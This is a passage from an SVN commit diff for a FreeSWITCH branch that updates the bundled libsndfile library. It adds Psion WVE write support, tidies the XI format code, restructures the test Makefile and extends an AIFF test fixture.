-		return	SFE_BAD_OPEN_FORMAT ;
+		if ((error = wve_write_header (psf, SF_FALSE)))
+			return error ;
 
-	subformat = psf->sf.format & SF_FORMAT_SUBMASK ;
+		psf->write_header = wve_write_header ;
+		} ;
 
+	psf->blockwidth = psf->bytewidth * psf->sf.channels ;
+
+	psf->container_close = wve_close ;
+
+	error = alaw_init (psf) ;
+
 	return error ;
 } /* wve_open */
 
@@ -82,44 +90,120 @@
 static int
 wve_read_header (SF_PRIVATE *psf)
 {	int marker ;
+	unsigned short version, padding, repeats, trash ;
+	unsigned datalength ;
 
 	/* Set position to start of file to begin reading header. */
 	psf_binheader_readf (psf, "pm", 0, &marker) ;
 	if (marker != ALAW_MARKER)
+	{	psf_log_printf (psf, "Could not find '%M'\n", ALAW_MARKER) ;
 		return SFE_WVE_NOT_WVE ;
+		} ;
 
 	psf_binheader_readf (psf, "m", &marker) ;
 	if (marker != SOUN_MARKER)
+	{	psf_log_printf (psf, "Could not find '%M'\n", SOUN_MARKER) ;
 		return SFE_WVE_NOT_WVE ;
+		} ;
 
 	psf_binheader_readf (psf, "m", &marker) ;
 	if (marker != DFIL_MARKER)
+	{	psf_log_printf (psf, "Could not find '%M'\n", DFIL_MARKER) ;
 		return SFE_WVE_NOT_WVE ;
+		} ;
 
-	psf_log_printf (psf, "Read only : Psion Palmtop Alaw (.wve)\n"
+	psf_binheader_readf (psf, "m", &marker) ;
+	if (marker != ESSN_MARKER)
+	{	psf_log_printf (psf, "Could not find '%M'\n", ESSN_MARKER) ;
+		return SFE_WVE_NOT_WVE ;
+		} ;
+
+	psf_binheader_readf (psf, "E2", &version) ;
+
+	psf_log_printf (psf, "Psion Palmtop Alaw (.wve)\n"
 			"  Sample Rate : 8000\n"
 			"  Channels    : 1\n"
 			"  Encoding    : A-law\n") ;
 
-	psf->dataoffset = 0x20 ;
-	psf->datalength = psf->filelength - psf->dataoffset ;
+	if (version != PSION_VERSION)
+		psf_log_printf (psf, "Psion version %d should be %d\n", version, PSION_VERSION) ;
 
+	psf_binheader_readf (psf, "E4", &datalength) ;
+	psf->dataoffset = PSION_DATAOFFSET ;
+	if (datalength != psf->filelength - psf->dataoffset)
+	{	psf->datalength = psf->filelength - psf->dataoffset ;
+		psf_log_printf (psf, "Data length %d should be %D\n", datalength, psf->datalength) ;
+		}
+	else
+		psf->datalength = datalength ;
+
+	psf_binheader_readf (psf, "E22222", &padding, &repeats, &trash, &trash, &trash) ;
+
 	psf->sf.format		= SF_FORMAT_WVE | SF_FORMAT_ALAW ;
 	psf->sf.samplerate	= 8000 ;
 	psf->sf.frames		= psf->datalength ;
 	psf->sf.channels	= 1 ;
 
-	return alaw_init (psf) ;
+	return SFE_NO_ERROR ;
 } /* wve_read_header */
 
 /*------------------------------------------------------------------------------
 */
 
-#endif
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: ba368cb5-523f-45e4-98c1-5b99a102f73f
+static int
+wve_write_header (SF_PRIVATE *psf, int calc_length)
+{	sf_count_t	current ;
+	unsigned datalen ;
+
+	current = psf_ftell (psf) ;
+
+	if (calc_length)
+	{	psf->filelength = psf_get_filelen (psf) ;
+
+		psf->datalength = psf->filelength - psf->dataoffset ;
+		if (psf->dataend)
+			psf->datalength -= psf->filelength - psf->dataend ;
+
+		psf->sf.frames = psf->datalength / (psf->bytewidth * psf->sf.channels) ;
+		} ;
+
+	/* Reset the current header length to zero. */
+	psf->header [0] = 0 ;
+	psf->headindex = 0 ;
+	psf_fseek (psf, 0, SEEK_SET) ;
+
+	/* Write header. */
+	datalen = psf->datalength ;
+	psf_binheader_writef (psf, "Emmmm", ALAW_MARKER, SOUN_MARKER, DFIL_MARKER, ESSN_MARKER) ;
+	psf_binheader_writef (psf, "E2422222", PSION_VERSION, datalen, 0, 0, 0, 0, 0) ;
+	psf_fwrite (psf->header, psf->headindex, 1, psf) ;
+
+	if (psf->sf.channels != 1)
+		return SFE_CHANNEL_COUNT ;
+
+	if (psf->error)
+		return psf->error ;
+
+	psf->dataoffset = psf->headindex ;
+
+	if (current > 0)
+		psf_fseek (psf, current, SEEK_SET) ;
+
+	return psf->error ;
+} /* wve_write_header */
+
+/*------------------------------------------------------------------------------
 */
+
+static int
+wve_close (SF_PRIVATE *psf)
+{
+	if (psf->mode == SFM_WRITE || psf->mode == SFM_RDWR)
+	{	/*  Now we know for certain the length of the file we can re-write
+		**	the header.
+		*/
+		wve_write_header (psf, SF_TRUE) ;
+		} ;
+
+	return 0 ;
+} /* wve_close */

Modified: freeswitch/branches/seven/libs/libsndfile/src/xi.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/xi.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/xi.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2003-2006 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2003-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -23,11 +23,11 @@
 #include <fcntl.h>
 #include <string.h>
 #include <ctype.h>
+#include <math.h>
 
 #include "sndfile.h"
 #include "sfendian.h"
 #include "common.h"
-#include "float_cast.h"
 
 #define	MAX_XI_SAMPLES	16
 
@@ -80,10 +80,10 @@
 			return error ;
 		} ;
 
-	subformat = psf->sf.format & SF_FORMAT_SUBMASK ;
+	subformat = SF_CODEC (psf->sf.format) ;
 
 	if (psf->mode == SFM_WRITE || psf->mode == SFM_RDWR)
-	{	if ((psf->sf.format & SF_FORMAT_TYPEMASK) != SF_FORMAT_XI)
+	{	if ((SF_CONTAINER (psf->sf.format)) != SF_FORMAT_XI)
 			return	SFE_BAD_OPEN_FORMAT ;
 
 		psf->endian = SF_ENDIAN_LITTLE ;
@@ -95,7 +95,7 @@
 		memcpy (pxi->software, PACKAGE "-" VERSION "               ", sizeof (pxi->software)) ;
 
 		memset (pxi->sample_name, 0, sizeof (pxi->sample_name)) ;
-		LSF_SNPRINTF (pxi->sample_name, sizeof (pxi->sample_name), "%s", "Sample #1") ;
+		snprintf (pxi->sample_name, sizeof (pxi->sample_name), "%s", "Sample #1") ;
 
 		pxi->sample_flags = (subformat == SF_FORMAT_DPCM_16) ? 16 : 0 ;
 
@@ -128,10 +128,8 @@
 */
 
 static int
-xi_close	(SF_PRIVATE *psf)
+xi_close	(SF_PRIVATE * UNUSED (psf))
 {
-	psf = psf ;
-
 	return 0 ;
 } /* xi_close */
 
@@ -248,7 +246,7 @@
 
 	psf_fseek (psf, psf->dataoffset, SEEK_SET) ;
 
-	if ((psf->sf.format & SF_FORMAT_SUBMASK) == SF_FORMAT_DPCM_16)
+	if ((SF_CODEC (psf->sf.format)) == SF_FORMAT_DPCM_16)
 	{	total = offset ;
 		bufferlen = ARRAY_LEN (psf->u.sbuf) ;
 		while (total > 0)
@@ -270,7 +268,7 @@
 
 
 static int
-xi_write_header (SF_PRIVATE *psf, int calc_length)
+xi_write_header (SF_PRIVATE *psf, int UNUSED (calc_length))
 {	XI_PRIVATE	*pxi ;
 	sf_count_t	current ;
 	const char	*string ;
@@ -278,8 +276,6 @@
 	if ((pxi = psf->codec_data) == NULL)
 		return SFE_INTERNAL ;
 
-	calc_length = calc_length ; /* Avoid a compiler warning. */
-
 	current = psf_ftell (psf) ;
 
 	/* Reset the current header length to zero. */
@@ -446,18 +442,22 @@
 		return SFE_XI_EXCESS_SAMPLES ;
 		} ;
 
-	psf->dataoffset = psf_fseek (psf, 0, SEEK_CUR) ;
-	psf_log_printf (psf, "Data Offset : %D\n", psf->dataoffset) ;
-
 	psf->datalength = sample_sizes [0] ;
 
+	psf->dataoffset = psf_ftell (psf) ;
+	if (psf->dataoffset < 0)
+	{	psf_log_printf (psf, "*** Bad Data Offset : %D\n", psf->dataoffset) ;
+		return SFE_BAD_OFFSET ;
+		} ;
+	psf_log_printf (psf, "Data Offset : %D\n", psf->dataoffset) ;
+
 	if (psf->dataoffset + psf->datalength > psf->filelength)
 	{	psf_log_printf (psf, "*** File seems to be truncated. Should be at least %D bytes long.\n",
 				psf->dataoffset + sample_sizes [0]) ;
 		psf->datalength = psf->filelength - psf->dataoffset ;
 		} ;
 
- 	if (psf_fseek (psf, psf->dataoffset, SEEK_SET) != psf->dataoffset)
+	if (psf_fseek (psf, psf->dataoffset, SEEK_SET) != psf->dataoffset)
 		return SFE_BAD_SEEK ;
 
 	psf->endian = SF_ENDIAN_LITTLE ;
@@ -1195,10 +1195,3 @@
 	pxi->last_16 = last_val ;
 } /* d2dles_array */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 1ab2dbe0-29af-4d80-9c6f-cb21b67521bc
-*/

Property changes: freeswitch/branches/seven/libs/libsndfile/tests


Name: svn:ignore
   - Makefile.in
stdout_test
alaw_test
dwvw_test
lossy_comp_test
largefile_test
locale_test
win32_test
ulaw_test
.deps
Makefile
cpp_test
write_read_test
open_fail_test
virtual_io_test
stdin_test
header_test
error_test
benchmark
scale_clip_test
string_test
.libs
floating_point_test
dither_test
pcm_test
stdio_test
raw_test
multi_file_test
misc_test
pipe_test
peak_chunk_test
win32_ordinal_test
aiff_rw_test
fix_this
command_test
headerless_test
sfversion
   + Makefile.in
stdout_test
alaw_test
dwvw_test
lossy_comp_test
largefile_test
locale_test
win32_test
ulaw_test
.deps
Makefile
cpp_test
write_read_test
open_fail_test
virtual_io_test
stdin_test
header_test
error_test
benchmark
scale_clip_test
string_test
.libs
floating_point_test
dither_test
pcm_test
stdio_test
raw_test
multi_file_test
misc_test
pipe_test
peak_chunk_test
win32_ordinal_test
aiff_rw_test
fix_this
command_test
headerless_test
sfversion
test_wrapper.sh

Modified: freeswitch/branches/seven/libs/libsndfile/tests/Makefile.am (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/Makefile.am	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,16 +1,23 @@
 ## Process this file with automake to produce Makefile.in
 
+if ENABLE_TEST_COVERAGE
+CPP_TEST =
+else
+CPP_TEST = cpp_test
+endif
+
+INCLUDES = -I$(top_srcdir)/src
+
 noinst_PROGRAMS = sfversion floating_point_test write_read_test \
 	lossy_comp_test error_test ulaw_test alaw_test dwvw_test \
 	peak_chunk_test command_test stdin_test stdout_test stdio_test \
 	pcm_test headerless_test pipe_test benchmark header_test misc_test \
-	raw_test string_test open_fail_test multi_file_test dither_test \
+	raw_test string_test multi_file_test dither_test \
 	scale_clip_test win32_test fix_this aiff_rw_test virtual_io_test \
-	locale_test largefile_test win32_ordinal_test cpp_test
+	locale_test largefile_test win32_ordinal_test ogg_test vorbis_test \
+	checksum_test external_libs_test $(CPP_TEST)
 
-SNDFILEDIR = ../src
-INCLUDES = -I$(srcdir)/$(SNDFILEDIR)
-noinst_HEADERS = dft_cmp.h utils.h
+noinst_HEADERS = dft_cmp.h utils.h generate.h
 
 autogen_sources = write_read_test.tpl write_read_test.def	\
 					pcm_test.tpl pcm_test.def				\
@@ -26,104 +33,113 @@
 #===============================================================================
 
 sfversion_SOURCES = sfversion.c
-sfversion_LDADD = $(SNDFILEDIR)/libsndfile.la
+sfversion_LDADD = $(top_builddir)/src/libsndfile.la
 
-write_read_test_SOURCES = utils.c write_read_test.c
-write_read_test_LDADD = $(SNDFILEDIR)/libsndfile.la
+write_read_test_SOURCES = utils.c generate.c write_read_test.c
+write_read_test_LDADD = $(top_builddir)/src/libsndfile.la
 
 lossy_comp_test_SOURCES = utils.c lossy_comp_test.c
-lossy_comp_test_LDADD = $(SNDFILEDIR)/libsndfile.la
+lossy_comp_test_LDADD = $(top_builddir)/src/libsndfile.la
 
 fix_this_SOURCES = utils.c fix_this.c
-fix_this_LDADD = $(SNDFILEDIR)/libsndfile.la
+fix_this_LDADD = $(top_builddir)/src/libsndfile.la
 
 error_test_SOURCES = error_test.c utils.c
-error_test_LDADD = $(SNDFILEDIR)/libsndfile.la
+error_test_LDADD = $(top_builddir)/src/libsndfile.la
 
 ulaw_test_SOURCES = utils.c ulaw_test.c
-ulaw_test_LDADD = $(SNDFILEDIR)/libsndfile.la
+ulaw_test_LDADD = $(top_builddir)/src/libsndfile.la
 
 alaw_test_SOURCES = utils.c alaw_test.c
-alaw_test_LDADD = $(SNDFILEDIR)/libsndfile.la
+alaw_test_LDADD = $(top_builddir)/src/libsndfile.la
 
 aiff_rw_test_SOURCES = utils.c aiff_rw_test.c
-aiff_rw_test_LDADD = $(SNDFILEDIR)/libsndfile.la
+aiff_rw_test_LDADD = $(top_builddir)/src/libsndfile.la
 
 command_test_SOURCES = command_test.c utils.c
-command_test_LDADD = $(SNDFILEDIR)/libsndfile.la
+command_test_LDADD = $(top_builddir)/src/libsndfile.la
 
 locale_test_SOURCES = locale_test.c utils.c
-locale_test_LDADD = $(SNDFILEDIR)/libsndfile.la
+locale_test_LDADD = $(top_builddir)/src/libsndfile.la
 
 largefile_test_SOURCES = largefile_test.c utils.c
-largefile_test_LDADD = $(SNDFILEDIR)/libsndfile.la
+largefile_test_LDADD = $(top_builddir)/src/libsndfile.la
 
 pcm_test_SOURCES = pcm_test.c utils.c
-pcm_test_LDADD = $(SNDFILEDIR)/libsndfile.la
+pcm_test_LDADD = $(top_builddir)/src/libsndfile.la
 
 headerless_test_SOURCES = utils.c headerless_test.c
-headerless_test_LDADD = $(SNDFILEDIR)/libsndfile.la
+headerless_test_LDADD = $(top_builddir)/src/libsndfile.la
 
 stdin_test_SOURCES = stdin_test.c utils.c
-stdin_test_LDADD = $(SNDFILEDIR)/libsndfile.la
+stdin_test_LDADD = $(top_builddir)/src/libsndfile.la
 
 stdout_test_SOURCES = stdout_test.c
-stdout_test_LDADD = $(SNDFILEDIR)/libsndfile.la
+stdout_test_LDADD = $(top_builddir)/src/libsndfile.la
 
 stdio_test_SOURCES = stdio_test.c utils.c
-stdio_test_LDADD = $(SNDFILEDIR)/libsndfile.la
+stdio_test_LDADD = $(top_builddir)/src/libsndfile.la
 
 pipe_test_SOURCES = pipe_test.c utils.c
-pipe_test_LDADD = $(SNDFILEDIR)/libsndfile.la
+pipe_test_LDADD = $(top_builddir)/src/libsndfile.la
 
 benchmark_SOURCES = benchmark.c
-benchmark_LDADD = $(SNDFILEDIR)/libsndfile.la
+benchmark_LDADD = $(top_builddir)/src/libsndfile.la
 
 header_test_SOURCES = header_test.c utils.c
-header_test_LDADD = $(SNDFILEDIR)/libsndfile.la
+header_test_LDADD = $(top_builddir)/src/libsndfile.la
 
 misc_test_SOURCES = misc_test.c utils.c
-misc_test_LDADD = $(SNDFILEDIR)/libsndfile.la
+misc_test_LDADD = $(top_builddir)/src/libsndfile.la
 
 raw_test_SOURCES = raw_test.c utils.c
-raw_test_LDADD = $(SNDFILEDIR)/libsndfile.la
+raw_test_LDADD = $(top_builddir)/src/libsndfile.la
 
 string_test_SOURCES = string_test.c utils.c
-string_test_LDADD = $(SNDFILEDIR)/libsndfile.la
+string_test_LDADD = $(top_builddir)/src/libsndfile.la
 
 dither_test_SOURCES = dither_test.c utils.c
-dither_test_LDADD = $(SNDFILEDIR)/libsndfile.la
+dither_test_LDADD = $(top_builddir)/src/libsndfile.la
 
-open_fail_test_SOURCES = open_fail_test.c utils.c
-open_fail_test_LDADD = $(SNDFILEDIR)/libsndfile.la
-
 multi_file_test_SOURCES = multi_file_test.c utils.c
-multi_file_test_LDADD = $(SNDFILEDIR)/libsndfile.la
+multi_file_test_LDADD = $(top_builddir)/src/libsndfile.la
 
 virtual_io_test_SOURCES = virtual_io_test.c utils.c
-virtual_io_test_LDADD = $(SNDFILEDIR)/libsndfile.la
+virtual_io_test_LDADD = $(top_builddir)/src/libsndfile.la
 
+ogg_test_SOURCES = ogg_test.c utils.c
+ogg_test_LDADD = $(top_builddir)/src/libsndfile.la
+
+vorbis_test_SOURCES = vorbis_test.c utils.c
+vorbis_test_LDADD = $(top_builddir)/src/libsndfile.la
+
 win32_test_SOURCES = win32_test.c
 win32_test_LDADD =
 
 win32_ordinal_test_SOURCES = win32_ordinal_test.c utils.c
-win32_ordinal_test_LDADD = $(SNDFILEDIR)/libsndfile.la 
+win32_ordinal_test_LDADD = $(top_builddir)/src/libsndfile.la
 
+external_libs_test_SOURCES = external_libs_test.c utils.c
+external_libs_test_LDADD = $(top_builddir)/src/libsndfile.la
+
 cpp_test_SOURCES = cpp_test.cc utils.c
-cpp_test_LDADD = $(SNDFILEDIR)/libsndfile.la 
+cpp_test_LDADD = $(top_builddir)/src/libsndfile.la
 
+checksum_test_SOURCES = checksum_test.c utils.c
+checksum_test_LDADD = $(top_builddir)/src/libsndfile.la
+
 # Lite remove start
 dwvw_test_SOURCES = utils.c dwvw_test.c
-dwvw_test_LDADD = $(SNDFILEDIR)/libsndfile.la
+dwvw_test_LDADD = $(top_builddir)/src/libsndfile.la
 
 floating_point_test_SOURCES = utils.c dft_cmp.c floating_point_test.c
-floating_point_test_LDADD = $(SNDFILEDIR)/libsndfile.la
+floating_point_test_LDADD = $(top_builddir)/src/libsndfile.la
 
 peak_chunk_test_SOURCES = peak_chunk_test.c utils.c
-peak_chunk_test_LDADD = $(SNDFILEDIR)/libsndfile.la
+peak_chunk_test_LDADD = $(top_builddir)/src/libsndfile.la
 
 scale_clip_test_SOURCES = scale_clip_test.c utils.c
-scale_clip_test_LDADD = $(SNDFILEDIR)/libsndfile.la
+scale_clip_test_LDADD = $(top_builddir)/src/libsndfile.la
 # Lite remove end
 
 #===============================================================================
@@ -137,7 +153,7 @@
 header_test.c: header_test.def header_test.tpl
 	autogen --writable header_test.def
 
-utils.c: utils.def utils.tpl
+utils.c utils.h : utils.def utils.tpl
 	autogen --writable utils.def
 
 scale_clip_test.c: scale_clip_test.def scale_clip_test.tpl
@@ -156,246 +172,24 @@
 		scale_clip_test.c pipe_test.c floating_point_test.c benchmark.c
 
 #===============================================================================
+# If we're cross compiling from Linux to Windows and running the test suite
+# under Wine, we need a symbolic link to the generated libsndfile DLL.
 
-check: generic-tests wav-tests aiff-tests au-tests caf-tests raw-tests \
-	paf-tests svx-tests nist-tests ircam-tests voc-tests w64-tests mat4-tests \
-	mat5-tests pvf-tests xi-tests htk-tests avr-tests sds-tests sd2-tests \
-	flac-tests caf-tests io-tests
+if LINUX_MINGW_CROSS_TEST
 
-generic-tests : error_test ulaw_test alaw_test command_test floating_point_test \
-		pcm_test win32_ordinal_test cpp_test
-	uname -a
-	./error_test
-	./pcm_test
-	./ulaw_test
-	./alaw_test
-	./dwvw_test
-	./command_test ver
-	./command_test norm
-	./command_test format
-	./command_test peak
-	./command_test trunc
-	./command_test inst
-	./command_test bext
-	./floating_point_test
-	./scale_clip_test
-	./headerless_test
-	./locale_test
-	./win32_ordinal_test
-	./cpp_test
-	@echo "----------------------------------------------------------------------"
-	@echo "  `./sfversion` passed common tests."
-	@echo "----------------------------------------------------------------------"
+$(noinst_PROGRAMS) : libsndfile-1.dll
 
-wav-tests: write_read_test lossy_comp_test peak_chunk_test header_test misc_test multi_file_test
-	./write_read_test wav
-	./lossy_comp_test wav_ima
-	./lossy_comp_test wav_msadpcm
-	./lossy_comp_test wav_ulaw
-	./lossy_comp_test wav_alaw
-	./lossy_comp_test wav_gsm610
-	./lossy_comp_test wav_g721
-	./peak_chunk_test wav
-	./header_test wav
-	./misc_test wav
-	./string_test wav
-	./multi_file_test wav
-	./open_fail_test wav
-	@echo "----------------------------------------------------------------------"
-	@echo "  `./sfversion` passed tests on WAV files."
-	@echo "----------------------------------------------------------------------"
+libsndfile-1.dll :
+	ln -s $(top_builddir)/src/.libs/$@ $@
 
-aiff-tests: write_read_test lossy_comp_test peak_chunk_test header_test misc_test aiff_rw_test
-	./write_read_test aiff
-	./lossy_comp_test aiff_ulaw
-	./lossy_comp_test aiff_alaw
-	./lossy_comp_test aiff_gsm610
-	@echo "=========================="
-	@echo "./lossy_comp_test aiff_ima"
-	@echo "=========================="
-	./peak_chunk_test aiff
-	./header_test aiff
-	./misc_test aiff
-	./string_test aiff
-	./multi_file_test aiff
-	./aiff_rw_test
-	@echo "----------------------------------------------------------------------"
-	@echo "  `./sfversion` passed tests on AIFF files."
-	@echo "----------------------------------------------------------------------"
+clean-local :
+	-rm -f libsndfile-1.dll
 
-caf-tests: write_read_test lossy_comp_test header_test misc_test
-	./write_read_test caf
-	./lossy_comp_test caf_ulaw
-	./lossy_comp_test caf_alaw
-	./header_test caf
-	./misc_test caf
-	@echo "----------------------------------------------------------------------"
-	@echo "  `./sfversion` passed tests on CAF files."
-	@echo "----------------------------------------------------------------------"
+endif
 
-au-tests: write_read_test lossy_comp_test header_test misc_test
-	./write_read_test au
-	./lossy_comp_test au_ulaw
-	./lossy_comp_test au_alaw
-	./lossy_comp_test au_g721
-	./lossy_comp_test au_g723
-	./header_test au
-	./misc_test au
-	./multi_file_test wav
-	@echo "----------------------------------------------------------------------"
-	@echo "  `./sfversion` passed tests on AU files."
-	@echo "----------------------------------------------------------------------"
+#===============================================================================
 
-raw-tests: write_read_test lossy_comp_test raw_test
-	./write_read_test raw
-	./lossy_comp_test raw_ulaw
-	./lossy_comp_test raw_alaw
-	./lossy_comp_test raw_gsm610
-	./lossy_comp_test vox_adpcm
-	./raw_test
-	@echo "----------------------------------------------------------------------"
-	@echo "  `./sfversion` passed tests on RAW (header-less) files."
-	@echo "----------------------------------------------------------------------"
+check: $(noinst_PROGRAMS) test_wrapper.sh
+	sh test_wrapper.sh
 
-w64-tests: write_read_test lossy_comp_test misc_test
-	./write_read_test w64
-	./lossy_comp_test w64_ima
-	./lossy_comp_test w64_msadpcm
-	./lossy_comp_test w64_ulaw
-	./lossy_comp_test w64_alaw
-	./lossy_comp_test w64_gsm610
-	./header_test w64
-	./misc_test w64
-	@echo "----------------------------------------------------------------------"
-	@echo "  `./sfversion` passed tests on W64 files."
-	@echo "----------------------------------------------------------------------"
-
-# Lite remove start
-paf-tests: write_read_test misc_test
-	./write_read_test paf
-	./header_test paf
-	./misc_test paf
-	@echo "----------------------------------------------------------------------"
-	@echo "  `./sfversion` passed tests on PAF files."
-	@echo "----------------------------------------------------------------------"
-
-svx-tests: write_read_test misc_test
-	./write_read_test svx
-	./header_test svx
-	./misc_test svx
-	@echo "----------------------------------------------------------------------"
-	@echo "  `./sfversion` passed tests on SVX files."
-	@echo "----------------------------------------------------------------------"
-
-nist-tests: write_read_test lossy_comp_test misc_test
-	./write_read_test nist
-	./lossy_comp_test nist_ulaw
-	./lossy_comp_test nist_alaw
-	./header_test nist
-	./misc_test nist
-	@echo "----------------------------------------------------------------------"
-	@echo "  `./sfversion` passed tests on NIST files."
-	@echo "----------------------------------------------------------------------"
-
-ircam-tests: write_read_test lossy_comp_test misc_test
-	./write_read_test ircam
-	./lossy_comp_test ircam_ulaw
-	./lossy_comp_test ircam_alaw
-	./header_test ircam
-	./misc_test ircam
-	@echo "----------------------------------------------------------------------"
-	@echo "  `./sfversion` passed tests on IRCAM files."
-	@echo "----------------------------------------------------------------------"
-
-voc-tests: write_read_test lossy_comp_test misc_test
-	./write_read_test voc
-	./lossy_comp_test voc_ulaw
-	./lossy_comp_test voc_alaw
-	./header_test voc
-	./misc_test voc
-	@echo "----------------------------------------------------------------------"
-	@echo "  `./sfversion` passed tests on VOC files."
-	@echo "----------------------------------------------------------------------"
-
-mat4-tests: write_read_test misc_test
-	./write_read_test mat4
-	./header_test mat4
-	./misc_test mat4
-	@echo "----------------------------------------------------------------------"
-	@echo "  `./sfversion` passed tests on MAT4 files."
-	@echo "----------------------------------------------------------------------"
-
-mat5-tests: write_read_test misc_test
-	./write_read_test mat5
-	./header_test mat5
-	./misc_test mat5
-	@echo "----------------------------------------------------------------------"
-	@echo "  `./sfversion` passed tests on MAT5 files."
-	@echo "----------------------------------------------------------------------"
-
-pvf-tests: write_read_test misc_test
-	./write_read_test pvf
-	./header_test pvf
-	./misc_test pvf
-	@echo "----------------------------------------------------------------------"
-	@echo "  `./sfversion` passed tests on PVF files."
-	@echo "----------------------------------------------------------------------"
-
-xi-tests: lossy_comp_test
-	./lossy_comp_test xi_dpcm
-	@echo "----------------------------------------------------------------------"
-	@echo "  `./sfversion` passed tests on XI files."
-	@echo "----------------------------------------------------------------------"
-
-htk-tests: write_read_test misc_test
-	./write_read_test htk
-	./header_test htk
-	./misc_test htk
-	@echo "----------------------------------------------------------------------"
-	@echo "  `./sfversion` passed tests on HTK files."
-	@echo "----------------------------------------------------------------------"
-
-avr-tests: write_read_test misc_test
-	./write_read_test avr
-	./header_test avr
-	./misc_test avr
-	@echo "----------------------------------------------------------------------"
-	@echo "  `./sfversion` passed tests on AVR files."
-	@echo "----------------------------------------------------------------------"
-
-sds-tests: write_read_test misc_test
-	./write_read_test sds
-	./header_test sds
-	./misc_test sds
-	@echo "----------------------------------------------------------------------"
-	@echo "  `./sfversion` passed tests on SDS files."
-	@echo "----------------------------------------------------------------------"
-
-sd2-tests: write_read_test
-	./write_read_test sd2
-	@echo "----------------------------------------------------------------------"
-	@echo "  `./sfversion` passed tests on SD2 files."
-	@echo "----------------------------------------------------------------------"
-
-flac-tests: write_read_test
-	./write_read_test flac
-	@echo "----------------------------------------------------------------------"
-	@echo "  `./sfversion` passed tests on FLAC files."
-	@echo "----------------------------------------------------------------------"
-
-# Lite remove end
-
-io-tests: stdio_test stdin_test stdout_test pipe_test
-	./stdio_test
-	./pipe_test
-	./virtual_io_test
-	@echo "----------------------------------------------------------------------"
-	@echo "  `./sfversion` passed stdio/pipe/vio tests."
-	@echo "----------------------------------------------------------------------"
-
-## Do not edit or modify anything in this comment block.
-## The arch-tag line is a file identity tag for the GNU Arch 
-## revision control system.
-##
-## arch-tag: 820ec297-29b9-48a4-998f-48b17053f435
-
+	

Modified: freeswitch/branches/seven/libs/libsndfile/tests/aiff_rw_test.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/aiff_rw_test.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/aiff_rw_test.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2003,2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2003-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -30,7 +30,7 @@
 
 static unsigned char aifc_data [] =
 {	'F' , 'O' , 'R' , 'M' ,
-	0x00, 0x00, 0x01, 0xAA, /* FORM length */
+	0x00, 0x00, 0x01, 0xE8, /* FORM length */
 
 	'A' , 'I' , 'F' , 'C' ,
 	0x43, 0x4F, 0x4D, 0x4D, /* COMM */
@@ -42,6 +42,14 @@
 
 	'F' , 'V' , 'E' , 'R' , 0x00, 0x00, 0x00, 0x04, 0xA2, 0x80, 0x51, 0x40,
 
+	/* A 'MARK' chunk. */
+	'M' , 'A' , 'R' , 'K' , 0x00, 0x00, 0x00, 0x36, 0x00, 0x05,
+	0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, 'A' ,
+	0x00, 0x02, 0x00, 0x00, 0x11, 0x3A, 0x02, 'B' , 'C' , 0x00,
+	0x00, 0x03, 0x00, 0x00, 0x22, 0x74, 0x03, 'D' , 'E' , 'F',
+	0x00, 0x04, 0x00, 0x00, 0x33, 0xAE, 0x04, 'G' , 'H' , 'I', 'J' , 0x00,
+	0x00, 0x05, 0x00, 0x00, 0x44, 0xE8, 0x05, 'K' , 'L' , 'M', 'N' , 'O' ,
+
 	'S' , 'S' , 'N' , 'D' ,
 	0x00, 0x00, 0x01, 0x64, /* SSND length */
 	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
@@ -132,7 +140,7 @@
 
 	/* Now compare the two. */
 	if (sfinfo_rd.format != sfinfo_rw.format)
-	{	printf ("\n\nLine %d : channel count mismatch (0x%08X != 0x%08X).\n\n", __LINE__,
+	{	printf ("\n\nLine %d : format mismatch (0x%08X != 0x%08X).\n\n", __LINE__,
 			sfinfo_rd.format, sfinfo_rw.format) ;
 		exit (1) ;
 		} ;
@@ -144,7 +152,7 @@
 		} ;
 
 	if (sfinfo_rd.frames != sfinfo_rw.frames)
-	{	printf ("\n\nLine %d : frame count mismatch (%ld != %ld).\n\n", __LINE__,
+	{	printf ("\n\nLine %d : frame count mismatch (rd %ld != rw %ld).\n\n", __LINE__,
 			SF_COUNT_TO_LONG (sfinfo_rd.frames), SF_COUNT_TO_LONG (sfinfo_rw.frames)) ;
 		exit (1) ;
 		} ;
@@ -152,10 +160,3 @@
 	return ;
 } /* rw_test */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 12561248-1ad1-4ba6-941c-029f1333c080
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/tests/alaw_test.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/alaw_test.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/alaw_test.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
